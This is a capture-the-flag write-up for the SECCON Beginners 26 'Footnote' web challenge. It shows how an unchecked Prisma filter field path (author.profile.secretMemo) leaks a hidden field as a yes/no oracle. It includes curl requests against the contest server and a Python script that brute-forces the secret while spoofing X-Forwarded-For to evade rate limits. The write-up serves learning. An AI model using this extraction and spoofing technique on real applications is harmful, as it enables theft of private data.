root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

SECCON BEGINNERS 26


image


Web->Footnote


image


image

 await prisma.user.findMany({
    include: {
      posts: true,
    },
  })
try {
    const filterWhere = isAdvancedSearch({
      field: req.query.field,
      op: req.query.op,
      value: req.query.value,
    })
      ? buildAdvancedWhere({
          field: req.query.field,
          op: req.query.op,
          value: req.query.value,
        })
      : buildKeywordWhere(req.query.q);
//Attacker can control fields, operation and value
    const articles = await prisma.article.findMany({
      where: {
        AND: [{ published: true }, filterWhere],
      },
      orderBy: { id: "asc" },
      select: articleSelect,
    });


Bypassing the filters in function isAdvancedSearch


const ALLOWED_FILTER_ROOTS = new Set(["title", "body", "author"]);
const ALLOWED_OPERATORS = new Set(["eq", "contains", "startsWith"]);
const TO_ONE_RELATIONS = new Set(["author", "profile"]);
generator client {
  provider = "prisma-client"
  output   = "../src/generated/prisma"
}

datasource db {
  provider = "sqlite"
}

model User {
  id       Int       @id @default(autoincrement())
  name     String    @unique
  role     String
  profile  Profile?
  articles Article[]
}

model Profile {
  id         Int    @id @default(autoincrement())
  displayName String
  bio        String
  secretMemo String
  userId     Int    @unique
  user       User   @relation(fields: [userId], references: [id])
}

model Article {
  id        Int     @id @default(autoincrement())
  title     String  @unique
  body      String
  published Boolean @default(true)
  authorId  Int
  author    User    @relation(fields: [authorId], references: [id])

  @@index([published])
}

If we are to read field secretMemo in model Profile from model Article. It will be from field author as it references id in User. Then, point to profile which inherits the model Profile and lastly point to secretMemo which is a string field in model Profile.

author.profile.secretMemo
╭─   ~/Documents/footnote                                                                                                                                                 at  19:17:48 ─╮
╰─❯ curl http://footnote.beginners.seccon.games:44566/api/articles/search\?field\=author.profile.secretMemo\&op\=startsWith\&value\=b                                                     ─╯
{"count":2,"articles":[{"id":1,"title":"朝の図書室から","body":"開館前の図書室には、まだ誰の足音もありません。窓際の机に光が差し込み、昨日返された本の背表紙だけが静かに並んでいます。棚を整えていると、誰かが挟んだ古いしおりが見つかりました。","author":{"profile":{"displayName":"admin","bio":"編集長。記事の裏側にある小さなメモを管理している。"}}},{"id":4,"title":"古い掲示板の手紙","body":"公民館の入口にある掲示板には、何年も変わらない画鋲の跡があります。新しいお知らせの隅に残った日焼けの形を見ると、ここで何度も季節が入れ替わったことが分かります。","author":{"profile":{"displayName":"admin","bio":"編集長。記事の裏側にある小さなメモを管理している。"}}}]}%
─   ~/Documents/footnote                                                                                                                                                 at  19:18:42 ─╮
╰─❯ curl http://footnote.beginners.seccon.games:44566/api/articles/search\?field\=author.profile.secretMemo\&op\=startsWith\&value\=f                                                     ─╯
{"count":0,"articles":[]}%                                                                                                                    
#! /usr/bin/env python3
import requests
import string
from faker import Faker

faker =  Faker()
url = "http://footnote.beginners.seccon.games:44566/api/articles/search"
secret =  ""
charset = '0123456789abcdefghijklmnopqrstuvwxyz'

def check_secret(secret:  str,ip: str):
    data  =  {"field":"author.profile.secretMemo","op":"eq","value":secret}
    count  = requests.get(url,params=data,headers={"X-Forwarded-For":ip}).json()
    if  count["count"] ==  2:
        return True
    else:
        return False
while True:
    for char in charset:
        random_ip = faker.ipv4()
        data =  {"field":"author.profile.secretMemo","op":"startsWith","value":secret+char}
        count = requests.get(url,params=data,headers={"X-Forwarded-For":random_ip}).json()
        #print(f"Char::{char}:{count["count"]}")
        if  count["count"] == 2:
            secret += char
            print("[+] Found char:"+secret)
        if  check_secret(secret,random_ip):
            print("[+]  Secret found-: ",secret)
            print("[+] Flag->  ",requests.post("http://footnote.beginners.seccon.games:44566/api/claim",json={"memo":secret}).json()["flag"])
            exit()
        else: 
            pass

image